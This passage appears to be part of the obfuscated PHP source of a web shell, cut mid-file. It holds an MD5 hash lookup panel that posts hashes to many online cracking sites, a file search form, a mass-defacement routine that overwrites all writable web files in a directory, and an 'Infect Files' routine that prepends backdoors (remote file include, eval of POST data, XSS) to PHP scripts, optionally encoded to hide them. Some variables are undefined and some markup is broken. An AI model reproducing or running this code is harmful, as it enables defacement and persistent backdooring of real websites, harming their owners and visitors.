			if (function_exists('convert_uudecode')) { echo 'UUDecode:<input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',convert_uudecode($_POST['Plain']),'"/><br/>'; }
			echo 'ROT13:<input type="text" onfocus="this.select()" onmouseover="this.select()" readonly="readonly" value="',htmlspecialchars(str_rot13($_POST['Plain'])),'"/>			</td></tr></table></fieldset>';
			if (is_numeric($_POST['Plain'])) {
				$Bases = array('Hex2Dec',16,10,'Hex2Oct',16,8,'Hex2Bin',16,2,'Dec2Hex',10,16,'Dec2Oct',10,8,'Dec2Bin',10,2,'Oct2Hex',8,16,'Oct2Dec',8,10,'Oct2Bin',8,2,'Bin2Hex',2,16,'Bin2Dec',2,10,'Bin2Oct',2,8);
				echo '<br/><fieldset style="width:640px;"><legend>Base Convertor</legend><table><tr><td>';
				for ($i = 0, $j = 0; $i < 12; $i++, $j+=3) {
					if ($i % 3 === 0) { echo '</td><td>'; }
					echo $Bases[$j],':<input type="text" onfocus="this.select()" onmouseover="this.select()" size="20" readonly="readonly" value="',base_convert($_POST['Plain'],$CDrsUObtJbjy[$CDrsy1btJbjy+1],$CDrsUObtJbjy[$CDrsy1btJbjy+2]),'"/>';
				}
				echo '</td></tr></table></fieldset>';
				unset($Bases);
			}
			if (preg_match('/^[0-9a-zA-Z]{32}$/',$_POST['Plain'])) {
				echo '<br/><fieldset style="width:630px;"><legend>MD5 Cracking By Rainbow Tables</legend>				<form action="http://www.hashchecker.de/',$_POST['Plain'],'" method="get" target="_blank" style="display:inline;"><input type="submit" value="www.hashchecker.de"/></form><br/>				<table style="text-align:left;"><tr>				<td><form action="http://md5.noisette.ch/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'"/><input type="submit" value="md5.noisette.ch" style="width:150px;"></form></td>				<td><form action="http://www.bigtrapeze.com/md5/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="query" name="query" value="',$_POST['Plain'],'"/><input type="submit" value="www.bigtrapeze.com" style="width:150px;"/></form></td>				<td><form action="http://md5.ip-domain.com.cn/index.htm" method="post" target="_blank" style="display:inline;"><input type="hidden" id="text" name="text" value="',$_POST['Plain'],'"/><input type="submit" value="md5.ip-domain.com.cn" style="width:150px;"/></form></td>				<td><form action="http://passcracking.com/" method="post" target="_blank" style="display:inline;"><input type="hidden" id="datafromuser" name="datafromuser" value="',$_POST['Plain'],'"/><input type="submit" value="passcracking.com" style="width:150px;"/></form></td></tr>				<tr><td><form action="http://md5.hashcracking.com/search.php" method="get" target="_blank" style="display:inline;"><input type="hidden" id="md5" name="md5" value="',$_POST['Plain'],'"/><input type="submit" value="md5.hashcracking.com" style="width:150px;"/></form></td>				<td><form action="http://gdataonline.com/qkhash.php?" method="get" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'"/><input type="hidden" id="mode" name="mode" value="txt"/><input type="submit" value="gdataonline.com" style="width:150px;"/></form></td>				<td><form action="http://milw0rm.com/cracker/search.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'"/><input type="submit" value="milw0rm.com" style="width:150px;"/></form></td>				<td><form action="http://md5decryption.com" method="post" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'"/><input type="hidden" name="submit" id="submit" value="Decrypt It!"/><input type="submit" value="md5decryption.com" style="width:150px;"/></form></td></tr>				<tr><td><form action="http://www.hashchecker.com/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="search_text" name="search_field" value="',$_POST['Plain'],'"/><input type="submit" value="www.hashchecker.com" style="width:150px;"/></form></td>				<td><form action="http://victorov.su/md5/" method="get" target="_blank" style="display:inline;"><input type="hidden" id="md5d" name="md5d" value="',$_POST['Plain'],'"/><input type="submit" value="victorov.su" style="width:150px;"/></form></td>				<td><form action="http://md5.web-max.ca/" method="post" target="_blank" style="display:inline;"><input type="hidden" id="string" name="string" value="',$_POST['Plain'],'"/><input type="submit" value="md5.web-max.ca" style="width:150px;"/></form></td>				<td><form action="http://www.md5decrypter.com/" method="post" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'"/><input type="submit" value="www.md5decrypter.com" style="width:150px;"/></form></td></tr>				<tr><td><form action="http://www.cmd5.org/default.aspx" method="post" target="_blank" style="display:inline;"><input type="hidden" id="ctl00_ContentPlaceHolder1_TextBoxq" name="ctl00$CDrDyObtJb2y$CD0syObtJbjy" value="',$_POST['Plain'],'"/><input type="hidden" id="ctl00_ContentPlaceHolder1_InputHashType" name="ctl00$CDrDyObtJb2y$CDrsyobtJbjy" value="md5"/><input type="hidden" id="ctl00_ContentPlaceHolder1_Button1" name="ctl00$CDrDyObtJb2y$CDCsyObtJbjy" value="decrypt"/><input type="submit" value="www.cmd5.org" style="width:150px;"/><input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value=""/><input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value=""/><input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="+MN0HB4uys9ziObtFE4Ft+HIiW08UancNKR49xRNHWX4eaHCdvMBaC6DNGHcmMrfMh5xteguu3qqukk0UT/UYJjrgyf66Va+DMAO0LBStlvSgsQEvC9d6/Ox/1TkfWT1ZFpKsUhzAXEKeMiKr11wAbIoevXIx4NlTHWWgGq4vC0O8lwEVTcMxe3tvzspwOJSkWIB6y2dhF03BsY4SnFWVNQRGie5uk+S/8XOHCoEFJ52Q3qOdiJdwT7NpZAGeequ3xv1Ey8TExuULC/QAUvnNovgW2SKzeZMO0HAGtLxrJoBFLUoSRrMqadlmYctIyOgLJ0H+J0vx5tyeOBzyg/Ar9LvTDUWVtHRW7XGnBs3hKhsgPyts1a16Q/hRLg0iWsXNvqvfvxYjpaJ1DUJR6nJ+vPos2Bk5V67din8BXGal0BqIhdXS5aOKFCaY1qP4cglpT5N77/Lti7IllKwEBmcVtQwKXqLHwTy+M2PMys+jrj9CzX7gFNSfx+11NDwDwYo8oAhMvyJjg02l0220cynmVOXbGViSLdSq/nTD2vYLnBHhlqvFpIzgrd/BqHK3sn6OsfCxMuiMZptMza7qB758OOSeJoDGwog/CqEaeVDPC1CYKMFmimws0Q2vtKs88zClZAV0ZYEN1B37z1efanzxghHeGceVx7PAn8SbyUlSeqmbabcs0hyHKLIIR8HZsiS6IRqgE0YPIEYATOuNGSBx6g5BlD+ExlRns1Dl75rZc2ZFTehef7IQzmjMNFt4mlYEdNT2Zc85+RrUQ9aeu5xqO1JhR8DtqxPdeRZc5KLDunwllh0mNiONuZBsGfMeZSjXiiG3ZdIrh7FDxQWxZvmJe+mIh68eiVr+ZIbFaL1RA8dau+o1SffU7sIzPVIRj/LNFvG/UfW8kbifWCO50u7EhDIgPgabYvPdoeDtJqCRWOHdpeep0+2Umz1Q6a6JaKxOpqfH01ePn7jncfwMfQaViaZ/luWfnzEVChO9YV5UtW0XAwK1af8U/zVFzaNv5+tqVd3UF1nCLCVHKAkgPyMHl64Ikk7W6YyBkDY6fjiXp6mm/yx7xHKt2iHBIZ6Qs6HjJYs2HLxYcji0wHHuue2WYuzFcBgBiJOYwZz11n4vov8TpBBcDehXkzz8bWvKw2XK3FE5ZoP3GVO4t+pSYgVvO6WbI1ZXx/jOtUtTChaNIe2Wt85axkyFFW/u7mg4mQlKweSkw9gjhWkL/JNSvaNqKglwAG1/RnWX5piAepRPnZ5bOHEWBvrvfcWWgrE+8+T+/N6N0dwUuU/+o0r5Blj9lxjg+zMfxjLJuWXky6z6N110RS1I8jhip9nFHD7teVxjZ9ZFZRid7YRJaM+eQzYKAry1Kyu+PXiu6+SKcpgbc0hQzd2TGxNb4bT4lB3YVteMQRZ/UUpZcC0Yfh4MAo3mEgspxYlC+Nre9vX8bl5UUWB+DelplSpmE+OImh5dhsLyAUlrS3cJ63wyjxmfjbeQ5W5IDb7c2dXmvK05dTunGFy5oc3OqoTzWphuwYRKiDaUd3NrAKAxNFweUm6cWAO4BR54LwLQEaFIySVHBUJybKbl9FHS1vP9Z/RNolbESnmXzokcugQclfDk0Eqrt5sE+Z6tLyL+QChQtZvuD4N67ghKxC4IoFpKg=="/></form></td>				<td><form action="http://hashkiller.com/api/api.php" method="get" target="_blank" style="display:inline;"><input type="hidden" id="md5" name="md5" value="',$_POST['Plain'],'"/><input type="submit" value="hashkiller.com" style="width:150px;"/></form></td>				<td><form action="http://www.md5crack.com/crackmd5.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="term" name="term" value="',$_POST['Plain'],'"/><input type="submit" value="www.md5crack.com" style="width:150px;"/></form></td>				<td><form action="http://tools.benramsey.com/md5/md5.php" method="get" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'"/><input type="submit" value="tools.benramsey.com" style="width:150px;"/></form></td></tr>				<tr><td><form action="http://hashcrack.com/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'"/><input type="submit" value="hashcrack.com" style="width:150px;"/></form></td>				<td><form action="http://md5.allfact.info/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="decrypt" name="decrypt" value="',$_POST['Plain'],'"/><input type="hidden" name="act" id="act" value="decrypt"/><input type="submit" value="md5.allfact.info" style="width:150px;"/></form></td>				<td><form action="http://blacklight.gotdns.org/cracker/mycracker.php" method="get" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'"/><input type="hidden" name="algo" id="algo" value="MD5"/><input type="submit" value="blacklight.gotdns.org" style="width:150px;"/></form></td>				<td><form action="http://crackfor.me/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'"/><input type="hidden" name="act" id="act" value="find"/><input type="submit" value="crackfor.me" style="width:150px;"/></form></td></tr>				<tr><tr><td><form action="http://schwett.com/md5/index.php" method="get" target="_blank" style="display:inline;"><input type="hidden" id="md5value" name="md5value" value="',$_POST['Plain'],'"/><input type="hidden" name="md5c" id="md5c" value="Hash Match"/><input type="submit" value="schwett.com" style="width:150px;"/></form></td>				<td><form action="http://md5.rednoize.com/" method="get" target="_blank" style="display:inline;"><input type="hidden" id="q" name="q" value="',$_POST['Plain'],'"/><input type="hidden" name="s" id="s" value="md5"/><input type="submit" value="md5.rednoize.com" style="width:150px;"/></form></td>				<td><form action="http://authsecu.com/decrypter-dechiffrer-cracker-hash-md5/script-hash-md5.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="champ2" name="champ2" value="',$_POST['Plain'],'"/><input type="submit" value="authsecu.com"0 style="width:150px;"></form></td>				<td><form action="http://www.cloudcracker.net/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="inputbox" name="inputbox" value="',$_POST['Plain'],'"/><input type="submit" value="www.cloudcracker.net" style="width:150px;"/></form></td></tr>				<tr><td><form action="http://cryptohaze.com/addhashes.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="sHashes" name="sHashes" value="',$_POST['Plain'],'"/><input type="hidden" name="iHashType" id="iHashType" value="1"/><input type="hidden" name="bAddHashes" id="bAddHashes" value="1"/><input type="hidden" name="format" id="format" value="1"/><input type="submit" value="cryptohaze.com" style="width:150px;"/></form></td>				<td><form action="http://hash.insidepro.com/index.php?lang=eng" method="post" target="_blank" style="display:inline;"><input type="hidden" id="h1" name="h1" value="',$_POST['Plain'],'"/><input type="submit" value="hash.insidepro.com" style="width:150px;"/></form></td>				<td><form action="http://hashfind.info/oldstuff/" method="post" target="_blank" style="display:inline;"><input type="hidden" id="textfield" name="hash" value="',$_POST['Plain'],'"/><input type="submit" value="hashfind.info" style="width:150px;"/></form></td>				<td><form action="http://md5-db.de/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="md5" name="md5" value="',$_POST['Plain'],'"/><input type="submit" value="md5-db.de" style="width:150px;"/></form></td></tr>				<tr><td><form action="http://md5.drasen.net/search.php" method="get" target="_blank" style="display:inline;"><input type="hidden" id="query" name="query" value="',$_POST['Plain'],'"/><input type="hidden" name="enter" id="enter" value="Generieren/Suchen"/><input type="submit" value="md5.drasen.net" style="width:150px;"/></form></td>				<td><form action="http://md5.gromweb.com/query/',$_POST['Plain'],'" method="get" target="_blank" style="display:inline;"><input type="submit" value="md5.gromweb.com" style="width:150px;"/></form></td>				<td><form action="http://md5.myinfosec.net/md5.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="md5hash" name="md5hash" value="',$_POST['Plain'],'"/><input type="submit" value="md5.myinfosec.net" style="width:150px;"/></form></td>				<td><form action="http://md5.thekaine.de/" method="get" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'"/><input type="submit" value="md5.thekaine.de" style="width:150px;"/></form></td>				<tr><td><form action="http://www.md5hood.com/index.php/cracker/crack" method="post" target="_blank" style="display:inline;"><input type="hidden" id="hash" name="hash" value="',$_POST['Plain'],'"/><input type="hidden" name="submit" id="submit_search" value="Go"/><input type="submit" value="www.md5hood.com" style="width:150px;"/></form></td>				<td><form action="http://md5online.net/" method="post" target="_blank" style="display:inline;"><input type="hidden" id="pass" name="pass" value="',$_POST['Plain'],'"/><input type="hidden" name="option" id="option" value="hash2text"/><input type="submit" value="md5online.net" style="width:150px;"/></form></td>				<td><form action="http://netmd5crack.com/cgi-bin/Crack.py" method="get" target="_blank" style="display:inline;"><input type="hidden" id="InputHash" name="InputHash" value="',$_POST['Plain'],'"/><input type="submit" value="netmd5crack.com" style="width:150px;"/></form></td>				<td><form action="http://shell-storm.org/md5/index.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="summd5" name="summd5" value="',$_POST['Plain'],'"/><input type="submit" value="shell-storm.org" style="width:150px;"/></form></td></tr>				<tr><td><form action="http://tools.kerinci.net/?x=md5" method="post" target="_blank" style="display:inline;"><input type="hidden" id="md5hash" name="hash" value="',$_POST['Plain'],'"/><input type="hidden" name="search" id="search" value="Search"/><input type="submit" value="tools.kerinci.net" style="width:150px;"/></form></td>				<td><form action="http://www.mmkey.com/md5/home.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="md5" name="md5" value="',$_POST['Plain'],'"/><input type="hidden" name="chkmd5" id="chkmd5" value="FIND"/><input type="hidden" name="lx" id="lx" value="chkmysql"/><input type="submit" value="www.mmkey.com" style="width:150px;"/></form></td>							<td><form action="http://www.md5-lookup.com/index.php" method="get" target="_blank" style="display:inline;"><input type="hidden" id="q" name="q" value="',$_POST['Plain'],'"/><input type="submit" value="www.md5-lookup.com" style="width:150px;"/></form></td>				<td><form action="http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php" method="post" target="_blank" style="display:inline;"><input type="hidden" id="md5" name="md5" value="',$_POST['Plain'],'"/><input type="submit" value="md5.my-addr.com" style="width:150px;"/></form></td>				</tr></table></fieldset>';
			}
		}
	}
	elseif ($_GET['action'] === 'search') {
		echo '<form action="?" method="get">				Search for files and directories that their name				<select id="type" name="type">					<option value="exact"'; if ($_GET['type'] === 'exact') { echo ' selected="selected"'; } echo '>is</option>					<option value="begins"'; if ($_GET['type'] === 'begins') { echo ' selected="selected"'; } echo '>begins with</option>					<option value="nbegins"'; if ($_GET['type'] === 'nbegins') { echo ' selected="selected"'; } echo '>doesn\'t begin with</option>
					<option value="ends"';if($_GET['type']==='ends'){echo ' selected="selected"';}echo '>ends with</option>
					<option value="nends"';if($_GET['type']==='nends'){echo ' selected="selected"';}echo '>doesn\'t end with</option>					<option value="nendsbegins"'; if ($_GET['type'] === 'nends') { echo ' selected="selected"'; } echo '>doesn\'t begin or end with</option>
					<option value="contains"';if($_GET['type']==='contains'){echo ' selected="selected"';}echo '>contains</option>
					<option value="ncontains"';if($_GET['type']==='ncontains'){echo ' selected="selected"';}echo '>excludes</option>
					<option value="lengthless"';if($_GET['type']==='lengthless'){echo ' selected="selected"';}echo '>length is less than</option>
					<option value="lengthabove"';if($_GET['type']==='lengthabove'){echo ' selected="selected"';}echo '>length is more than</option>
					<option value="regexp"';if($_GET['type']==='regexp'){echo ' selected="selected"';}echo '>matches this Regexp</option>
				</select>
				<input type="text" size="40" id="search" name="search"';if(isset($_GET['search'])){echo ' value="',htmlspecialchars($_GET['search']),'"';}echo ' /><br />
				Directory: <input type="text" size="40" id="dir" name="dir" value="',htmlspecialchars($CDIR),'" /><br /><br />
				<input type="checkbox" name="casein" id="casein"';if(isset($_GET['casein'])||!isset($_GET['search'])){echo ' checked="checked"';}echo ' /> case-insensitive
				<br /><br />
				On Windows, use //computername/share/filename or \computername\shareilename to check files on network shares.
				<br /><br /><font color="red">Warning: The search may show false results due to Safe Mode restrictions!</font><br /><br />
				<input type="submit" value="Search!" />
			</form><br />';	}	elseif($_GET['action']==='MassDeface'){		if(isset($_POST['Opt1'])){			$CDrdyObtJbjyDrsyObtJbjy=array();			if(function_exists('scandir')){$CDrsyObt0bjy=scandir('.');}			elseif(function_exists('opendir')&& function_exists('readdir')){$CDrsyObtMbjy=opendir('.');while(($CDrsyObtJbjg=readdir($CDrsyObtMbjy))){$CDrsyObt0bjy[$CDrsyObtJKjy++]=$CDrsyObtJbjg;}closedir($CDrsyObtMbjy);sort($CDrsyObt0bjy);}			else{$CDrsyObt0bjy=glob('*');}			if($_POST['type']==='All'){for($CDrsyObtJKjy=0,$CDrs7ObtJbjy=0,$CDr6yObtJbjy=count($CDrsyObt0bjy);$CDrsyObtJKjy<$CDr6yObtJbjy;$CDrsyObtJKjy++){if(is_file($CDrsyObt0bjy[$CDrsyObtJKjy])&& is_writable($CDrsyObt0bjy[$CDrsyObtJKjy])){$CDrdyObtJbjyDrsyObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObt0bjy[$CDrsyObtJKjy];}}}			else{				for($CDrsyObtJKjy=0,$CDrs7ObtJbjy=0,$CDr6yObtJbjy=count($CDrsyObt0bjy);$CDrsyObtJKjy<$CDr6yObtJbjy;$CDrsyObtJKjy++){					$CDrsyObtJbje=substr(strrchr(strtolower($CDrsyObt0bjy[$CDrsyObtJKjy]),'.'),1);					if(is_file($CDrsyObt0bjy[$CDrsyObtJKjy])&& is_writable($CDrsyObt0bjy[$CDrsyObtJKjy])&& in_array($CDrsyObtJbje,array('html','htm','xhtml','xht','xml','shtml','xhtm','php','phtml','php3','php4','php5','php6','phtm','phps','asp','asphtml','aspx','jsp','cfm','cfml','py','pl','cgi','rb','rhtml'),TRUE)){						$CDrdyObtJbjyDrsyObtJbjy[$CDrs7ObtJbjy++]=$CDrsyObt0bjy[$CDrsyObtJKjy];					}				}			}			if(count($CDrdyObtJbjyDrsyObtJbjy)===0){echo 'There are no writeable files in the directory';if($_POST['type']!=='All'){echo ' with a valid extension.';}else{echo '.';}echo '<br />';}			else{				$CDr6yObtJbjy=count($CDrsyObt0bjy);				if(function_exists('file_put_contents')){for($CDrsyObtJKjy=0;$CDrsyObtJKjy<=$CDr6yObtJbjy;$CDrsyObtJKjy++){file_put_contents($CDrdyObtJbjyDrsyObtJbjy[$CDrsyObtJKjy],$_POST['content']);}$nDrsyObtJbjy=TRUE;}				elseif(function_exists('fopen')&& function_exists('fwrite')){for($CDrsyObtJKjy=0;$CDrsyObtJKjy<=$CDr6yObtJbjy;$CDrsyObtJKjy++){$CDrsyObtMbjy=fopen($CDrdyObtJbjyDrsyObtJbjy[$CDrsyObtJKjy],'wb');fwrite($CDrsyObtMbjy,$_POST['content']);fclose($CDrsyObtMbjy);}$nDrsyObtJbjy=TRUE;}				elseif(function_exists('fopen')&& function_exists('fputs')){for($CDrsyObtJKjy=0;$CDrsyObtJKjy<=$CDr6yObtJbjy;$CDrsyObtJKjy++){$CDrsyObtMbjy=fopen($CDrdyObtJbjyDrsyObtJbjy[$CDrsyObtJKjy],'wb');fputs($CDrsyObtMbjy,$_POST['content']);fclose($CDrsyObtMbjy);}$nDrsyObtJbjy=TRUE;}				elseif(function_exists('fopen')&& function_exists('fputcsv')){for($CDrsyObtJKjy=0;$CDrsyObtJKjy<=$CDr6yObtJbjy;$CDrsyObtJKjy++){$CDrsyObtMbjy=fopen($CDrdyObtJbjyDrsyObtJbjy[$CDrsyObtJKjy],'wb');fputcsv($CDrsyObtMbjy,array($_POST['content']));fclose($CDrsyObtMbjy);}$nDrsyObtJbjy=TRUE;}								if(!isset($nDrsyObtJbjy)){echo 'Could not deface files. (No available functions)<br />';}				else{echo 'Files defaced successfully.<br />';}			}		}		else if(isset($_POST['Opt2'])){			if(!empty($_POST['vuln'])){				$CDrsyObt0bjy=array();				if(isset($_POST['filename'])){$CDrsyObt0bjy[0]=$_POST['filename'];}				else{					if(function_exists('scandir')){$CDrsyObt0bjy=scandir($CDrsyObtJbXy);}					elseif(function_exists('glob')){$CDrsyObt0bjy=glob($CDrsyObtJbXy);$CDtsyObtJbjy=TRUE;}					elseif(function_exists('opendir')&& function_exists('readdir')){$CDrsy1btJbjy=0;$CDrsyObtMbjy=opendir($CDrsyObtJbXy);while(($CDrsyObtJbjg=readdir($CDrsyObtMbjy))){$CDrsyObt0bjy[$CDrsy1btJbjy++]=$CDrsyObtJbjg;}closedir($CDrsyObtMbjy);}				}				$CDrsyOb2Jbjy=0;$CDrdyObtJbjyDrsyObtJbjy=array();				if(count($CDrsyObt0bjy)!==0){					foreach($CDrsyObt0bjy AS $CDrsyObtJ1jy){						if(is_file($CDrsyObtJ1jy)){							$CDrsyObtJbje=substr(strrchr(strtolower($CDrsyObtJ1jy),'.'),1);							if(in_array($CDrsyObtJbje,array('php','phtml','php3','php4','php5','php6','phtm','phps'),TRUE)){$CDrdyObtJbjyDrsyObtJbjy[$CDrsyOb2Jbjy++]=$CDrsyObtJ1jy;}						}					}				}				else{echo 'There are no files or sub-directories in this directory.<br />';}				if(count($CDrdyObtJbjyDrsyObtJbjy)===0){echo 'There are no PHP scripts in the directory.<br />';}				if(!function_exists('file_get_contents')&&(function_exists('fopen')&&(function_exists('fread')|| function_exists('fgets')|| function_exists('fgetc')))){					if(function_exists('fread')){						function TfRvnFLtvgEJ($CDrsyObtJbjg){							$CDBsyObtJbjy=fopen($CDrsyObtJbjg,'rb');							$CDrmyObtJbjy=fread($CDBsyObtJbjy,sprintf('%u',filesize($CDrsyObtJbjg)));							fclose($CDBsyObtJbjy);							return $CDrmyObtJbjy;						}					}					elseif(function_exists('fgets')){						function TfRvnFLtvgEJ($CDrsyObtJbjg){							$CDBsyObtJbjy=fopen($CDrsyObtJbjg,'rb');							$CDrmyObtJbjy='';$CDrsyOxtJUjy='';							do{								$CDrsyOxtJUjy=fgets($CDBsyObtJbjy,sprintf('%u',filesize($CDrsyObtJbjg)));								$CDrmyObtJbjy.=$CDrsyOxtJUjy;							}while($CDrsyOxtJUjy!==FALSE);							fclose($CDBsyObtJbjy);							return $CDrmyObtJbjy;						}					}					else{						function TfRvnFLtvgEJ($CDrsyObtJbjg){							$CDBsyObtJbjy=fopen($CDrsyObtJbjg,'rb');							$CDrmyObtJbjy='';$CDrseObtJbjy='';							do{								$CDrseObtJbjy=fgetc($CDBsyObtJbjy,sprintf('%u',filesize($CDrsyObtJbjg)));								$CDrmyObtJbjy.=$CDrseObtJbjy;							}while($CDrseObtJbjy!==FALSE);							fclose($CDBsyObtJbjy);							return $CDrmyObtJbjy;						}					}				}				else{$CDrsyOb2Jbjy=0;echo 'Could not read files (no available functions).';}				if(!function_exists('file_put_contents')&&(function_exists('fopen')&&(function_exists('fputs')|| function_exists('fwrite')|| function_exists('fputcsv')))){					if(function_exists('fwrite')){						function TfRvnFLtvgEJ($CDrsyObtJbjg,$CDosyObtJbjy){							$CDBsyObtJbjy=fopen($CDrsyObtJbjg,'wb');							fwrite($CDBsyObtJbjy,$CDosyObtJbjy);							fclose($CDBsyObtJbjy);						}					}					elseif(function_exists('fputs')){						function TfRvnFLtvgEJ($CDrsyObtJbjg,$CDosyObtJbjy){							$CDBsyObtJbjy=fopen($CDrsyObtJbjg,'wb');							fputs($CDBsyObtJbjy,$CDosyObtJbjy);							fclose($CDBsyObtJbjy);						}					}					else{						function TfRvnFLtvgEJ($CDrsyObtJbjg,$CDosyObtJbjy){							$CDBsyObtJbjy=fopen($CDrsyObtJbjg,'wb');							fputcsv($CDBsyObtJbjy,array($CDosyObtJbjy));							fclose($CDBsyObtJbjy);						}					}				}				else{$CDrsyOb2Jbjy=0;echo 'Could not write to files (no available functions).';}				$CDrsyObtJOjy='';				if($_POST['vuln']==='RFII'){$CDrsyObtJOjy='if(@function_exists(\'include\')) {@include($_POST[\'c37\']); } elseif(@function_exists(\'include_once\')) {@include_once($_POST[\'c37\']); }';}				elseif($_POST['vuln']==='RFIR'){$CDrsyObtJOjy='if(@function_exists(\'require\')) {@include($_POST[\'c37\']); } elseif(@function_exists(\'require_once\')) {@require_once($_POST[\'c37\']); }';}				elseif($_POST['vuln']==='RFIB'){$CDrsyObtJOjy='if(@function_exists(\'include\')) {@include($_POST[\'c37\']); } elseif(@function_exists(\'include_once\')) {@include_once($_POST[\'c37\']); } elseif(@function_exists(\'require\')) {@require($_POST[\'c37\']); } elseif(@function_exists(\'require_once\')) {@require_once($_POST[\'c37\']); }';}				elseif($_POST['vuln']==='XSS'){$CDrsyObtJOjy='echo $_POST[\'c37\'];';}				elseif($_POST['vuln']==='Eval'){$CDrsyObtJOjy='eval($_POST[\'c37\']);';}				elseif($_POST['vuln']==='My' &&!empty($_POST['mycode'])){$CDrsyObtJOjy=$_POST['mycode'];}				else{echo 'Please select a valid vulnerability.<br />';$CDrsyOb2Jbjy=0;}				if(function_exists('eval')){					if($_POST['encode']==='Base64' && function_exists('base64_encode')&& function_exists('base64_decode')){$CDrsyObtJOjy='eval(base64_decode(\''.base64_encode($AVuln).'\'));';}					elseif($_POST['encode']==='Rot13' && function_exists('str_rot13')){$CDrsyObtJOjy='eval(@str_rot13(\''.str_rot13($AVuln).'\'));';}					elseif($_POST['encode']==='UUEncode' && function_exists('convert_uuencode')&& function_exists('convert_uudecode')){$CDrsyObtJOjy='eval(@convert_uudecode(\''.convert_uuencode($AVuln).'\'));';}					elseif($_POST['encode']==='URLEncode' && function_exists('rawurldecode')){$CDrFyObtJbjy=strlen($CDrsyObtJOjy);$tDrsyObtJbjy='';for($CDrsyObtJKjy=0;$CDrsyObtJKjy<$CDrFyObtJbjy;$CDrsyObtJKjy++){$tDrsyObtJbjy.='%'.dechex(ord($CDrsyObtJOjy[$CDrsyObtJKjy]));}$CDrsyObtJOjy='eval(@rawurldecode(\''.$UrlencodedS.'\'));';}				}				$CDYsyObtJbjy='<?php '.$CDrsyObtJOjy.' ?>';				for($CDrsyObtJKjy=0;$CDrsyObtJKjy<$CDrsyOb2Jbjy;$CDrsyObtJKjy++){					if(is_readable($CDrdyObtJbjyDrsyObtJbjy[$CDrsyObtJKjy])&& is_writable($CDrdyObtJbjyDrsyObtJbjy[$CDrsyObtJKjy])){						$CDrsyIbtJbjy=TfRvnFLtvgEJ($CDrdyObtJbjyDrsyObtJbjy[$CDrsyObtJKjy]);						if(file_put_contents($CDrdyObtJbjyDrsyObtJbjy[$CDrsyObtJKjy],$CDYsyObtJbjy.$CDrsyIbtJbjy)){echo '\'',$Files[$i],'\' infected.<br />';}						else{echo '<span style="color:red;">\'',htmlspecialchars($Files[$i]),'\' not infected.</span><br />';}					}					else{						echo '\'',htmlspecialchars($Files[$i]),'\' is not readable or is not writeable.<br />';					}				}			}		}		echo '<h3>Change the content of the files in <span style="font-weight:normal;">',htmlspecialchars($CDrsyObtJbXy),'</span> to:</h3>
			<form action="" method="post">
			<textarea name="content" id="content" cols="90" rows="15"></textarea><br /><br />
			Only affected web file extensions: html|htm|xhtml|xht|xml|shtml|xhtm|php|phtml|php3|php4|php5|php6|phtm|phps|asp|asphtml|aspx|jsp|cfm|cfml|py|pl|cgi|rb|rhtml
			<br /><br /><select id="type" name="type"><option value="Web">All web files (.html|.php|.rhtml|.asp etc)</option><option value="All">All files</option></select> <input type="submit" value="Deface" name="Opt1" id="Opt1" onclick="javascript:var Ans = confirm(\'Are you sure?\'); if (Ans == 0) { return false; } if (document.getElementById(\'content\').value === \'\') { var Ans = confirm(\'The textarea is empty, to continue?\'); if (Ans == 0) { return false; } }" /><br /><br />
			<h3>Infect Files</h3>Inject <select style="background-color:#1C1C1C;color:white;" onchange="javascript:if(this.value === \'My\') {document.getElementById(\'mycode\').removeAttribute(\'disabled\');document.getElementById(\'mycode\').style.display=\'inline\'; } else {document.getElementById(\'mycode\').setAttribute(\'disabled\',\'disabled\');document.getElementById(\'mycode\').style.display=\'none\'; }" name="vuln" id="vuln">
			<option value="RFII">RFI (include/_once)</option><option value="RFIR">RFI (require/_once)</option><option value="RFIB">RFI (both)</option><option value="XSS">XSS</option><option value="Eval">Eval</option><option value="My">My own infection</option></select> code to 
			<select style="background-color:#1C1C1C;color:white;" onchange="javascript:if(this.value === \'File\') {document.getElementById(\'filename\').removeAttribute(\'disabled\');document.getElementById(\'filename\').style.display=\'inline\'; } else {document.getElementById(\'filename\').setAttribute(\'disabled\',\'disabled\');document.getElementById(\'filename\').style.display=\'none\'; }">
				<option>All directory files</option>
				<option value="File">A file</option>
			</select> 
			<input type="text" name="filename" id="filename" size="19" disabled="disabled" style="display:none;" /> using encoding 
			<select style="background-color:#1C1C1C;color:white;" name="encode" id="encode">
				<option>None</option>';				if(function_exists('base64_encode')&& function_exists('base64_decode')){echo '<option>Base64</option>';}				if(function_exists('str_rot13')){echo '<option>Rot13</option>';}				if(function_exists('convert_uuencode')&& function_exists('convert_uudecode')){echo '<option value="UUEncode">UUEncode</option>';}				if(function_exists('rawurldecode')){echo '<option value ="URLEncode">URLEncode</option>';}			echo '</select<br />
